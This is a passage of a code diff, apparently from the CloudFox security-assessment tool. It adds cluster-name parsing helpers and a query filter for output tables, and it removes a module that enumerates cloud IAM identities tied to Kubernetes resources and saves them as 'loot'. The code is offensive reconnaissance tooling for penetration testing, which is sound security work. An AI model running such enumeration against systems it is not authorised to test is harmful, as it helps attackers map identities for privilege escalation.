// For EKS: cluster entry is an ARN like "arn:aws:eks:us-east-1:123456789012:cluster/my-cluster"
|
||||
if strings.HasPrefix(clusterName, "arn:aws:eks:") {
|
||||
if name := extractEKSClusterName(clusterName); name != "" {
|
||||
return name
|
||||
}
|
||||
}
|
||||
|
||||
// For GKE: cluster entry looks like "gke_project-id_zone_cluster-name"
|
||||
if strings.HasPrefix(clusterName, "gke_") {
|
||||
if name := extractGKEClusterName(clusterName); name != "" {
|
||||
return name
|
||||
}
|
||||
}
|
||||
|
||||
// For generic kubeconfigs (including AKS which is typically just "my-aks-cluster"),
|
||||
// return the cluster name as-is. Don't split on underscores — that's a valid character
|
||||
// in cluster names and splitting breaks non-cloud names.
|
||||
if len(clusterName) < 200 {
|
||||
return clusterName
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// getClusterNameFromAPIServer extracts cluster name from API server URL
|
||||
func getClusterNameFromAPIServer(clientset *kubernetes.Clientset) string {
|
||||
if clientset.RESTClient() == nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
apiURL := clientset.RESTClient().Get().URL()
|
||||
if apiURL == nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
host := apiURL.Host
|
||||
|
||||
// EKS: https://<hash>.gr7.us-east-1.eks.amazonaws.com
|
||||
if strings.Contains(host, ".eks.amazonaws.com") {
|
||||
// Can't get cluster name from URL, but we know it's EKS
|
||||
return ""
|
||||
}
|
||||
|
||||
// AKS: https://<cluster>-<resource-group>-<random>.<region>.azmk8s.io:443
|
||||
if strings.Contains(host, ".azmk8s.io") {
|
||||
return extractAKSClusterFromURL(host)
|
||||
}
|
||||
|
||||
// GKE: https://<ip> or https://<hash>.gke.goog
|
||||
if strings.Contains(host, ".gke.goog") {
|
||||
return "" // Can't extract name from GKE URL
|
||||
}
|
||||
|
||||
// Generic: try to extract from hostname
|
||||
if name := extractClusterFromHostname(host); name != "" {
|
||||
return name
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// getClusterNameFromError forces an error and parses cluster info from it
|
||||
func getClusterNameFromError(ctx context.Context, clientset *kubernetes.Clientset) string {
|
||||
// Try to access a non-existent resource to get an error with cluster info
|
||||
_, err := clientset.CoreV1().Namespaces().Get(ctx, "cloudfox-nonexistent-namespace-probe", metav1.GetOptions{})
|
||||
if err != nil {
|
||||
errStr := err.Error()
|
||||
|
||||
// Some clusters include cluster name in error messages
|
||||
// Example: "namespaces \"cloudfox-nonexistent\" not found" with cluster context
|
||||
|
||||
// Check for server URL in error
|
||||
if strings.Contains(errStr, "server") {
|
||||
re := regexp.MustCompile(`server[:\s]+["']?([^"'\s]+)["']?`)
|
||||
if match := re.FindStringSubmatch(errStr); len(match) > 1 {
|
||||
if parsed, parseErr := url.Parse(match[1]); parseErr == nil {
|
||||
if name := extractClusterFromHostname(parsed.Host); name != "" {
|
||||
return name
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// extractEKSClusterName extracts cluster name from EKS ARN
|
||||
// Format: arn:aws:eks:region:account:cluster/cluster-name
|
||||
func extractEKSClusterName(arn string) string {
|
||||
re := regexp.MustCompile(`arn:aws:eks:[^:]+:[^:]+:cluster/(.+)$`)
|
||||
if match := re.FindStringSubmatch(arn); len(match) > 1 {
|
||||
return match[1]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// extractGKEClusterName extracts cluster name from GKE context
|
||||
// Format: gke_project-id_zone_cluster-name
|
||||
func extractGKEClusterName(context string) string {
|
||||
parts := strings.Split(context, "_")
|
||||
if len(parts) >= 4 && parts[0] == "gke" {
|
||||
return parts[len(parts)-1]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// extractGKEClusterFromNodeName extracts cluster name from GKE node name
|
||||
// Format: gke-cluster-name-nodepool-name-random
|
||||
func extractGKEClusterFromNodeName(nodeName string) string {
|
||||
if !strings.HasPrefix(nodeName, "gke-") {
|
||||
return ""
|
||||
}
|
||||
parts := strings.Split(nodeName, "-")
|
||||
if len(parts) < 3 {
|
||||
return ""
|
||||
}
|
||||
// Find where nodepool name starts (usually has "pool" or "default-pool")
|
||||
for i := 1; i < len(parts)-1; i++ {
|
||||
if parts[i] == "pool" || parts[i] == "default" {
|
||||
return strings.Join(parts[1:i], "-")
|
||||
}
|
||||
}
|
||||
// Fallback: take parts[1] as cluster name
|
||||
return parts[1]
|
||||
}
|
||||
|
||||
// extractAKSClusterFromURL extracts cluster name from AKS API server URL
|
||||
// Format: cluster-resourcegroup-random.region.azmk8s.io
|
||||
func extractAKSClusterFromURL(host string) string {
|
||||
// Remove port if present
|
||||
if idx := strings.Index(host, ":"); idx != -1 {
|
||||
host = host[:idx]
|
||||
}
|
||||
|
||||
parts := strings.Split(host, ".")
|
||||
if len(parts) < 3 {
|
||||
return ""
|
||||
}
|
||||
|
||||
// First part is: cluster-resourcegroup-random
|
||||
nameParts := strings.Split(parts[0], "-")
|
||||
if len(nameParts) >= 2 {
|
||||
// Return first part as cluster name (rough heuristic)
|
||||
return nameParts[0]
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// extractClusterFromProviderID extracts cluster hints from provider ID
|
||||
func extractClusterFromProviderID(providerID string) string {
|
||||
// AWS: aws:///us-east-1a/i-xxxxx
|
||||
// GCE: gce://project/zone/instance-name
|
||||
// Azure: azure:///subscriptions/xxx/resourceGroups/xxx/providers/Microsoft.Compute/virtualMachineScaleSets/xxx/virtualMachines/xxx
|
||||
|
||||
// For Azure, try to extract resource group (often named after cluster)
|
||||
if strings.HasPrefix(providerID, "azure://") {
|
||||
re := regexp.MustCompile(`resourceGroups/([^/]+)`)
|
||||
if match := re.FindStringSubmatch(providerID); len(match) > 1 {
|
||||
// Resource group often contains cluster name
|
||||
rg := match[1]
|
||||
// AKS resource groups are often: MC_<resource-group>_<cluster-name>_<region>
|
||||
if strings.HasPrefix(rg, "MC_") {
|
||||
parts := strings.Split(rg, "_")
|
||||
if len(parts) >= 3 {
|
||||
return parts[2] // cluster name
|
||||
}
|
||||
}
|
||||
return rg
|
||||
}
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// extractClusterFromHostname attempts to extract cluster name from generic hostname
|
||||
func extractClusterFromHostname(host string) string {
|
||||
// Remove port if present
|
||||
if idx := strings.Index(host, ":"); idx != -1 {
|
||||
host = host[:idx]
|
||||
}
|
||||
|
||||
// Skip IP addresses
|
||||
if isIPAddress(host) {
|
||||
return ""
|
||||
}
|
||||
|
||||
// For hostnames like "kubernetes.default.svc.cluster.local" or similar
|
||||
if strings.Contains(host, "kubernetes") || strings.Contains(host, "cluster.local") {
|
||||
return ""
|
||||
}
|
||||
|
||||
// For simple hostnames, return the first segment
|
||||
parts := strings.Split(host, ".")
|
||||
if len(parts) > 0 && len(parts[0]) > 0 && len(parts[0]) < 64 {
|
||||
return parts[0]
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
// isIPAddress checks if a string is an IP address
|
||||
func isIPAddress(s string) bool {
|
||||
// Simple check for IPv4
|
||||
parts := strings.Split(s, ".")
|
||||
if len(parts) == 4 {
|
||||
for _, part := range parts {
|
||||
if len(part) > 3 {
|
||||
return false
|
||||
}
|
||||
for _, c := range part {
|
||||
if c < '0' || c > '9' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// Check for IPv6 (contains colons)
|
||||
if strings.Contains(s, ":") && !strings.Contains(s, ".") {
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
@@ -1,12 +0,0 @@
|
||||
package kubernetes
|
||||
|
||||
import "strings"
|
||||
|
||||
// ImageTagType returns the tag part of a container image, or "latest" if missing.
|
||||
func ImageTagType(image string) string {
|
||||
parts := strings.Split(image, ":")
|
||||
if len(parts) > 1 {
|
||||
return parts[len(parts)-1]
|
||||
}
|
||||
return "latest"
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
+1
-1
@@ -87,7 +87,7 @@ func (l *Logger) ErrorM(text string, module string) {
|
||||
var red = color.New(color.FgRed).SprintFunc()
|
||||
fmt.Printf(clearln+"[%s][%s] %s\n", red(emoji.Sprintf(":fox:cloudfox %s :fox:", l.version)), red(module), text)
|
||||
if l.txtLog != nil {
|
||||
l.txtLog.Printf("[%s] %s", module, text)
|
||||
l.txtLog.Errorf("[%s] %s", module, text)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+393
-2
@@ -160,7 +160,9 @@ func HandleStreamingOutput(
|
||||
}
|
||||
|
||||
// ---- STREAM ROWS TO TEMP FILES ----
|
||||
for _, t := range dataToOutput.TableFiles() {
|
||||
streamTables := dataToOutput.TableFiles()
|
||||
applyQueryFilter(streamTables)
|
||||
for _, t := range streamTables {
|
||||
if verbosity > 0 {
|
||||
tmpClient := TableClient{Wrap: wrap}
|
||||
tmpClient.printTablesToScreen([]TableFile{t})
|
||||
@@ -540,6 +542,372 @@ func AppendLootFile(outputDirectory, lootFileName, entry string) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// QUERY FILTER - Global row-level filtering for --query / -q flag
|
||||
// ============================================================================
|
||||
|
||||
var globalQueryFilter string
|
||||
var globalSQLQueryFilter string
|
||||
|
||||
// SetQueryFilter sets the global query filter string. Called once from PersistentPreRun.
|
||||
func SetQueryFilter(query string) {
|
||||
globalQueryFilter = query
|
||||
}
|
||||
|
||||
// SetSQLQueryFilter sets the global SQL-like query filter string.
|
||||
func SetSQLQueryFilter(query string) {
|
||||
globalSQLQueryFilter = query
|
||||
}
|
||||
|
||||
// buildQueryPatterns generates search patterns from a query string.
|
||||
// All patterns are lowercased for case-insensitive matching.
|
||||
func buildQueryPatterns(query string) []string {
|
||||
return []string{strings.ToLower(query)}
|
||||
}
|
||||
|
||||
// rowMatchesQuery returns true if any column value (after stripping ANSI codes
|
||||
// and lowercasing) contains any of the given patterns as a substring.
|
||||
func rowMatchesQuery(row []string, patterns []string) bool {
|
||||
for _, col := range row {
|
||||
colLower := strings.ToLower(removeColorCodes(col))
|
||||
for _, pattern := range patterns {
|
||||
if strings.Contains(colLower, pattern) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Column-aware query types and parsing
|
||||
// ============================================================================
|
||||
|
||||
type queryOperator int
|
||||
|
||||
const (
|
||||
opContains queryOperator = iota // case-insensitive substring
|
||||
opEquals // case-insensitive exact match
|
||||
opNotContains // negated substring
|
||||
opNotEquals // negated exact match
|
||||
)
|
||||
|
||||
type queryCondition struct {
|
||||
columnPattern string // fuzzy match against header names (lowercase)
|
||||
value string // match value (lowercase)
|
||||
operator queryOperator
|
||||
}
|
||||
|
||||
// parseKeyValueQuery parses the enhanced --query key:value syntax.
|
||||
// Returns (conditions, isStructured). If isStructured is false, the query has
|
||||
// no column prefixes and should use legacy global substring matching.
|
||||
//
|
||||
// Syntax:
|
||||
//
|
||||
// "Role:owner,Principal:privesc02" -> column substring matches, ANDed
|
||||
// "!Principal:compute" -> negated substring
|
||||
// "Role=roles/owner" -> exact match
|
||||
// "!Source=Project" -> negated exact match
|
||||
// "privesc02" -> legacy global substring (no colon/equals)
|
||||
func parseKeyValueQuery(query string) ([]queryCondition, bool) {
|
||||
parts := strings.Split(query, ",")
|
||||
|
||||
// Check if any part contains a structured separator (: or =)
|
||||
hasStructured := false
|
||||
for _, part := range parts {
|
||||
trimmed := strings.TrimSpace(part)
|
||||
// Strip leading ! for detection
|
||||
if strings.HasPrefix(trimmed, "!") {
|
||||
trimmed = trimmed[1:]
|
||||
}
|
||||
if strings.ContainsAny(trimmed, ":=") {
|
||||
hasStructured = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !hasStructured {
|
||||
return nil, false
|
||||
}
|
||||
|
||||
var conditions []queryCondition
|
||||
for _, part := range parts {
|
||||
trimmed := strings.TrimSpace(part)
|
||||
if trimmed == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
// Check for negation prefix
|
||||
negated := false
|
||||
if strings.HasPrefix(trimmed, "!") {
|
||||
negated = true
|
||||
trimmed = trimmed[1:]
|
||||
}
|
||||
|
||||
// Determine operator by finding first = or :
|
||||
eqIdx := strings.Index(trimmed, "=")
|
||||
colonIdx := strings.Index(trimmed, ":")
|
||||
|
||||
var colPattern, value string
|
||||
var isExact bool
|
||||
|
||||
switch {
|
||||
case eqIdx >= 0 && (colonIdx < 0 || eqIdx < colonIdx):
|
||||
// = found before : (or no : at all) -> exact match
|
||||
colPattern = trimmed[:eqIdx]
|
||||
value = trimmed[eqIdx+1:]
|
||||
isExact = true
|
||||
case colonIdx >= 0:
|
||||
// : found -> substring match
|
||||
colPattern = trimmed[:colonIdx]
|
||||
value = trimmed[colonIdx+1:]
|
||||
isExact = false
|
||||
default:
|
||||
// No separator found in this part, skip it
|
||||
continue
|
||||
}
|
||||
|
||||
op := opContains
|
||||
if isExact && negated {
|
||||
op = opNotEquals
|
||||
} else if isExact {
|
||||
op = opEquals
|
||||
} else if negated {
|
||||
op = opNotContains
|
||||
}
|
||||
|
||||
conditions = append(conditions, queryCondition{
|
||||
columnPattern: strings.ToLower(strings.TrimSpace(colPattern)),
|
||||
value: strings.ToLower(strings.TrimSpace(value)),
|
||||
operator: op,
|
||||
})
|
||||
}
|
||||
|
||||
return conditions, true
|
||||
}
|
||||
|
||||
// parseSQLQuery parses the --sqlquery SQL-like WHERE clause syntax.
|
||||
//
|
||||
// Syntax:
|
||||
//
|
||||
// "Role CONTAINS owner AND Principal CONTAINS privesc02"
|
||||
// "Role = roles/owner AND Principal NOT CONTAINS compute"
|
||||
// "Source != Project"
|
||||
//
|
||||
// Operators: CONTAINS, =, NOT CONTAINS, !=
|
||||
// Conjunction: AND only (all conditions must match)
|
||||
// All operators and keywords are case-insensitive.
|
||||
func parseSQLQuery(query string) []queryCondition {
|
||||
// Split on AND (case-insensitive) with word boundaries
|
||||
// Use a simple approach: find " AND " case-insensitively
|
||||
parts := splitOnAND(query)
|
||||
|
||||
var conditions []queryCondition
|
||||
for _, part := range parts {
|
||||
trimmed := strings.TrimSpace(part)
|
||||
if trimmed == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
cond, ok := parseSQLCondition(trimmed)
|
||||
if ok {
|
||||
conditions = append(conditions, cond)
|
||||
}
|
||||
}
|
||||
|
||||
return conditions
|
||||
}
|
||||
|
||||
// splitOnAND splits a string on " AND " (case-insensitive)
|
||||
func splitOnAND(s string) []string {
|
||||
lower := strings.ToLower(s)
|
||||
var parts []string
|
||||
for {
|
||||
idx := strings.Index(lower, " and ")
|
||||
if idx < 0 {
|
||||
parts = append(parts, s)
|
||||
break
|
||||
}
|
||||
parts = append(parts, s[:idx])
|
||||
s = s[idx+5:] // len(" and ") == 5
|
||||
lower = lower[idx+5:]
|
||||
}
|
||||
return parts
|
||||
}
|
||||
|
||||
// parseSQLCondition parses a single SQL condition like "Role CONTAINS owner"
|
||||
func parseSQLCondition(s string) (queryCondition, bool) {
|
||||
lower := strings.ToLower(s)
|
||||
|
||||
// Try "NOT CONTAINS" first (must come before "CONTAINS" check)
|
||||
if idx := strings.Index(lower, " not contains "); idx >= 0 {
|
||||
col := strings.TrimSpace(s[:idx])
|
||||
val := strings.TrimSpace(s[idx+14:]) // len(" not contains ") == 14
|
||||
return queryCondition{
|
||||
columnPattern: strings.ToLower(col),
|
||||
value: strings.ToLower(val),
|
||||
operator: opNotContains,
|
||||
}, true
|
||||
}
|
||||
|
||||
// Try "CONTAINS"
|
||||
if idx := strings.Index(lower, " contains "); idx >= 0 {
|
||||
col := strings.TrimSpace(s[:idx])
|
||||
val := strings.TrimSpace(s[idx+10:]) // len(" contains ") == 10
|
||||
return queryCondition{
|
||||
columnPattern: strings.ToLower(col),
|
||||
value: strings.ToLower(val),
|
||||
operator: opContains,
|
||||
}, true
|
||||
}
|
||||
|
||||
// Try "!=" (must come before "=" check)
|
||||
if idx := strings.Index(s, "!="); idx >= 0 {
|
||||
col := strings.TrimSpace(s[:idx])
|
||||
val := strings.TrimSpace(s[idx+2:])
|
||||
return queryCondition{
|
||||
columnPattern: strings.ToLower(col),
|
||||
value: strings.ToLower(val),
|
||||
operator: opNotEquals,
|
||||
}, true
|
||||
}
|
||||
|
||||
// Try "="
|
||||
if idx := strings.Index(s, "="); idx >= 0 {
|
||||
col := strings.TrimSpace(s[:idx])
|
||||
val := strings.TrimSpace(s[idx+1:])
|
||||
return queryCondition{
|
||||
columnPattern: strings.ToLower(col),
|
||||
value: strings.ToLower(val),
|
||||
operator: opEquals,
|
||||
}, true
|
||||
}
|
||||
|
||||
return queryCondition{}, false
|
||||
}
|
||||
|
||||
// resolveColumns returns indices of all headers that contain the pattern
|
||||
// as a case-insensitive substring.
|
||||
func resolveColumns(columnPattern string, headers []string) []int {
|
||||
var indices []int
|
||||
for i, h := range headers {
|
||||
if strings.Contains(strings.ToLower(h), columnPattern) {
|
||||
indices = append(indices, i)
|
||||
}
|
||||
}
|
||||
return indices
|
||||
}
|
||||
|
||||
// rowMatchesConditions checks if a row satisfies all query conditions.
|
||||
// All conditions are ANDed. Column resolution uses fuzzy substring matching
|
||||
// against header names.
|
||||
func rowMatchesConditions(row []string, conditions []queryCondition, headers []string) bool {
|
||||
for _, cond := range conditions {
|
||||
colIndices := resolveColumns(cond.columnPattern, headers)
|
||||
if len(colIndices) == 0 {
|
||||
// No columns matched the pattern, condition fails
|
||||
return false
|
||||
}
|
||||
|
||||
switch cond.operator {
|
||||
case opContains:
|
||||
// At least one resolved column must contain the value
|
||||
found := false
|
||||
for _, idx := range colIndices {
|
||||
if idx < len(row) {
|
||||
colVal := strings.ToLower(removeColorCodes(row[idx]))
|
||||
if strings.Contains(colVal, cond.value) {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
return false
|
||||
}
|
||||
|
||||
case opEquals:
|
||||
// At least one resolved column must exactly equal the value
|
||||
found := false
|
||||
for _, idx := range colIndices {
|
||||
if idx < len(row) {
|
||||
colVal := strings.ToLower(removeColorCodes(row[idx]))
|
||||
if colVal == cond.value {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
return false
|
||||
}
|
||||
|
||||
case opNotContains:
|
||||
// None of the resolved columns may contain the value
|
||||
for _, idx := range colIndices {
|
||||
if idx < len(row) {
|
||||
colVal := strings.ToLower(removeColorCodes(row[idx]))
|
||||
if strings.Contains(colVal, cond.value) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
case opNotEquals:
|
||||
// None of the resolved columns may exactly equal the value
|
||||
for _, idx := range colIndices {
|
||||
if idx < len(row) {
|
||||
colVal := strings.ToLower(removeColorCodes(row[idx]))
|
||||
if colVal == cond.value {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
// applyQueryFilter filters all table bodies in-place using the global query.
|
||||
// Supports both legacy global substring matching and column-aware filtering.
|
||||
// No-op when both globalQueryFilter and globalSQLQueryFilter are empty.
|
||||
func applyQueryFilter(tables []TableFile) {
|
||||
if globalQueryFilter == "" && globalSQLQueryFilter == "" {
|
||||
return
|
||||
}
|
||||
|
||||
var conditions []queryCondition
|
||||
var useLegacy bool
|
||||
|
||||
if globalSQLQueryFilter != "" {
|
||||
conditions = parseSQLQuery(globalSQLQueryFilter)
|
||||
} else {
|
||||
var isStructured bool
|
||||
conditions, isStructured = parseKeyValueQuery(globalQueryFilter)
|
||||
if !isStructured {
|
||||
// Fall back to legacy global substring matching
|
||||
useLegacy = true
|
||||
}
|
||||
}
|
||||
|
||||
for i := range tables {
|
||||
var filtered [][]string
|
||||
for _, row := range tables[i].Body {
|
||||
if useLegacy {
|
||||
if rowMatchesQuery(row, buildQueryPatterns(globalQueryFilter)) {
|
||||
filtered = append(filtered, row)
|
||||
}
|
||||
} else {
|
||||
if rowMatchesConditions(row, conditions, tables[i].Header) {
|
||||
filtered = append(filtered, row)
|
||||
}
|
||||
}
|
||||
}
|
||||
tables[i].Body = filtered
|
||||
}
|
||||
}
|
||||
|
||||
func removeColorCodes(input string) string {
|
||||
// Regular expression to match ANSI color codes
|
||||
ansiRegExp := regexp.MustCompile(`\x1b\[[0-9;]*m`)
|
||||
@@ -982,6 +1350,7 @@ func HandleOutputV2(
|
||||
)
|
||||
|
||||
tables := dataToOutput.TableFiles()
|
||||
applyQueryFilter(tables)
|
||||
lootFiles := dataToOutput.LootFiles()
|
||||
|
||||
// Determine base module name from first table file (for backwards compatibility)
|
||||
@@ -1031,6 +1400,14 @@ func HandleOutputSmart(
|
||||
) error {
|
||||
logger := NewLogger()
|
||||
|
||||
// Log query filter if active
|
||||
if globalQueryFilter != "" {
|
||||
logger.InfoM(fmt.Sprintf("Filtering output with query: %q", globalQueryFilter), "output")
|
||||
}
|
||||
if globalSQLQueryFilter != "" {
|
||||
logger.InfoM(fmt.Sprintf("Filtering output with sqlquery: %q", globalSQLQueryFilter), "output")
|
||||
}
|
||||
|
||||
// Count total rows across all table files
|
||||
totalRows := 0
|
||||
for _, tableFile := range dataToOutput.TableFiles() {
|
||||
@@ -1276,6 +1653,7 @@ func HandleHierarchicalOutput(
|
||||
// writeOutputToPath writes CloudfoxOutput data to a specific path
|
||||
func writeOutputToPath(outPath string, format string, verbosity int, wrap bool, data CloudfoxOutput, logger Logger) error {
|
||||
tables := data.TableFiles()
|
||||
applyQueryFilter(tables)
|
||||
lootFiles := data.LootFiles()
|
||||
|
||||
// Determine base module name from first table file (for logging)
|
||||
@@ -1357,7 +1735,9 @@ func streamOutputToPath(outPath string, format string, verbosity int, wrap bool,
|
||||
}
|
||||
|
||||
// Stream table files
|
||||
for _, t := range data.TableFiles() {
|
||||
streamTables := data.TableFiles()
|
||||
applyQueryFilter(streamTables)
|
||||
for _, t := range streamTables {
|
||||
if verbosity > 0 {
|
||||
tmpClient := TableClient{Wrap: wrap}
|
||||
tmpClient.printTablesToScreen([]TableFile{t})
|
||||
@@ -1466,6 +1846,14 @@ func HandleHierarchicalOutputSmart(
|
||||
) error {
|
||||
logger := NewLogger()
|
||||
|
||||
// Log query filter if active
|
||||
if globalQueryFilter != "" {
|
||||
logger.InfoM(fmt.Sprintf("Filtering output with query: %q", globalQueryFilter), "output")
|
||||
}
|
||||
if globalSQLQueryFilter != "" {
|
||||
logger.InfoM(fmt.Sprintf("Filtering output with sqlquery: %q", globalSQLQueryFilter), "output")
|
||||
}
|
||||
|
||||
// Count total rows across all data
|
||||
totalRows := 0
|
||||
for _, orgData := range outputData.OrgLevelData {
|
||||
@@ -1611,6 +1999,9 @@ func HandleHierarchicalOutputTee(config TeeStreamingConfig) error {
|
||||
// Track which projects received data (for loot file generation)
|
||||
projectsWithData := make(map[string]bool)
|
||||
|
||||
// Apply query filter to all tables before processing
|
||||
applyQueryFilter(config.Tables)
|
||||
|
||||
// Process each table
|
||||
for _, t := range config.Tables {
|
||||
if config.Verbosity > 0 {
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -1,828 +0,0 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
k8sinternal "github.com/BishopFox/cloudfox/internal/kubernetes"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/config"
|
||||
"github.com/BishopFox/cloudfox/kubernetes/shared"
|
||||
"github.com/spf13/cobra"
|
||||
corev1 "k8s.io/api/core/v1"
|
||||
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
|
||||
"k8s.io/apimachinery/pkg/runtime/schema"
|
||||
"k8s.io/client-go/dynamic"
|
||||
"k8s.io/client-go/kubernetes"
|
||||
)
|
||||
|
||||
const K8S_CLOUD_IAM_MODULE_NAME = "cloud-iam"
|
||||
|
||||
var CloudIAMCmd = &cobra.Command{
|
||||
Use: "cloud-iam",
|
||||
Aliases: []string{"cloud-identity", "cloud-roles"},
|
||||
Short: "Enumerate all cloud IAM identities mapped to Kubernetes resources",
|
||||
Long: `
|
||||
Enumerate all cloud IAM identities (AWS IAM Roles, GCP Service Accounts, Azure Managed Identities)
|
||||
that are mapped to Kubernetes resources across the cluster.
|
||||
|
||||
This provides a centralized view of cloud identity mappings including:
|
||||
- Nodes with attached IAM roles/service accounts
|
||||
- ServiceAccounts with workload identity annotations
|
||||
- Pods/Deployments/DaemonSets/etc. with cloud role references
|
||||
- AWS Pod Identity Associations
|
||||
- Azure AAD Pod Identity bindings
|
||||
- GCP Workload Identity mappings
|
||||
|
||||
Examples:
|
||||
cloudfox kubernetes cloud-iam
|
||||
cloudfox kubernetes cloud-iam -A
|
||||
cloudfox kubernetes cloud-iam -n production`,
|
||||
Run: CloudIAM,
|
||||
}
|
||||
|
||||
// CloudIAMFinding represents a cloud identity mapping to a K8s resource
|
||||
type CloudIAMFinding struct {
|
||||
// Scope
|
||||
Namespace string // Empty for cluster-scoped resources like nodes
|
||||
Scope string // "Cluster" or "Namespace"
|
||||
|
||||
// Kubernetes Resource
|
||||
ResourceType string // Node, ServiceAccount, Pod, Deployment, DaemonSet, StatefulSet, ReplicaSet, Job, CronJob
|
||||
ResourceName string
|
||||
|
||||
// Cloud Identity
|
||||
CloudProvider string // AWS, GCP, Azure
|
||||
CloudIdentity string // ARN, email, client ID
|
||||
IdentityType string // IAM Role, Service Account, Managed Identity, Pod Identity, Workload Identity
|
||||
|
||||
// Detection Source
|
||||
Source string // How the identity was detected (annotation, env var, label, CRD, etc.)
|
||||
|
||||
// Additional context
|
||||
ControllerType string // For pods: what controller owns them
|
||||
ControllerName string
|
||||
ServiceAccount string // SA name if applicable
|
||||
}
|
||||
|
||||
type CloudIAMOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (c CloudIAMOutput) TableFiles() []internal.TableFile {
|
||||
return c.Table
|
||||
}
|
||||
|
||||
func (c CloudIAMOutput) LootFiles() []internal.LootFile {
|
||||
return c.Loot
|
||||
}
|
||||
|
||||
func CloudIAM(cmd *cobra.Command, args []string) {
|
||||
ctx, cancel := shared.ContextWithTimeout()
|
||||
defer cancel()
|
||||
logger := internal.NewLogger()
|
||||
|
||||
parentCmd := cmd.Parent()
|
||||
verbosity, _ := parentCmd.PersistentFlags().GetInt("verbosity")
|
||||
wrap, _ := parentCmd.PersistentFlags().GetBool("wrap")
|
||||
outputDirectory, _ := parentCmd.PersistentFlags().GetString("outdir")
|
||||
format, _ := parentCmd.PersistentFlags().GetString("output")
|
||||
|
||||
clientset := config.GetClientOrExit()
|
||||
dynamicClient := config.GetDynamicClientOrExit()
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Enumerating cloud IAM identities for %s", globals.ClusterName), K8S_CLOUD_IAM_MODULE_NAME)
|
||||
|
||||
findings := collectCloudIAMFindings(ctx, clientset, dynamicClient, &logger)
|
||||
|
||||
if len(findings) == 0 {
|
||||
logger.InfoM("No cloud IAM identities found in cluster", K8S_CLOUD_IAM_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Sort findings for consistent output
|
||||
sort.Slice(findings, func(i, j int) bool {
|
||||
if findings[i].CloudProvider != findings[j].CloudProvider {
|
||||
return findings[i].CloudProvider < findings[j].CloudProvider
|
||||
}
|
||||
if findings[i].ResourceType != findings[j].ResourceType {
|
||||
return findings[i].ResourceType < findings[j].ResourceType
|
||||
}
|
||||
if findings[i].Namespace != findings[j].Namespace {
|
||||
return findings[i].Namespace < findings[j].Namespace
|
||||
}
|
||||
return findings[i].ResourceName < findings[j].ResourceName
|
||||
})
|
||||
|
||||
// Generate output
|
||||
output := generateCloudIAMOutput(findings, &logger)
|
||||
|
||||
err := internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"cloud-iam",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), K8S_CLOUD_IAM_MODULE_NAME)
|
||||
}
|
||||
|
||||
// Print summary
|
||||
printCloudIAMSummary(findings, &logger)
|
||||
}
|
||||
|
||||
func collectCloudIAMFindings(ctx context.Context, clientset *kubernetes.Clientset, dynamicClient dynamic.Interface, logger *internal.Logger) []CloudIAMFinding {
|
||||
var findings []CloudIAMFinding
|
||||
|
||||
// Collect from nodes
|
||||
nodeFindings := collectNodeCloudIAM(ctx, clientset, logger)
|
||||
findings = append(findings, nodeFindings...)
|
||||
|
||||
// Collect from service accounts
|
||||
saFindings := collectServiceAccountCloudIAM(ctx, clientset, dynamicClient, logger)
|
||||
findings = append(findings, saFindings...)
|
||||
|
||||
// Collect from pods (also detects from env vars, configmaps, secrets)
|
||||
podFindings := collectPodCloudIAM(ctx, clientset, logger)
|
||||
findings = append(findings, podFindings...)
|
||||
|
||||
// Collect from AWS Pod Identity Associations CRD
|
||||
awsPodIdentityFindings := collectAWSPodIdentityAssociations(ctx, dynamicClient, logger)
|
||||
findings = append(findings, awsPodIdentityFindings...)
|
||||
|
||||
// Collect from Azure AAD Pod Identity bindings
|
||||
azureIdentityFindings := collectAzureIdentityBindings(ctx, dynamicClient, logger)
|
||||
findings = append(findings, azureIdentityFindings...)
|
||||
|
||||
// Deduplicate findings
|
||||
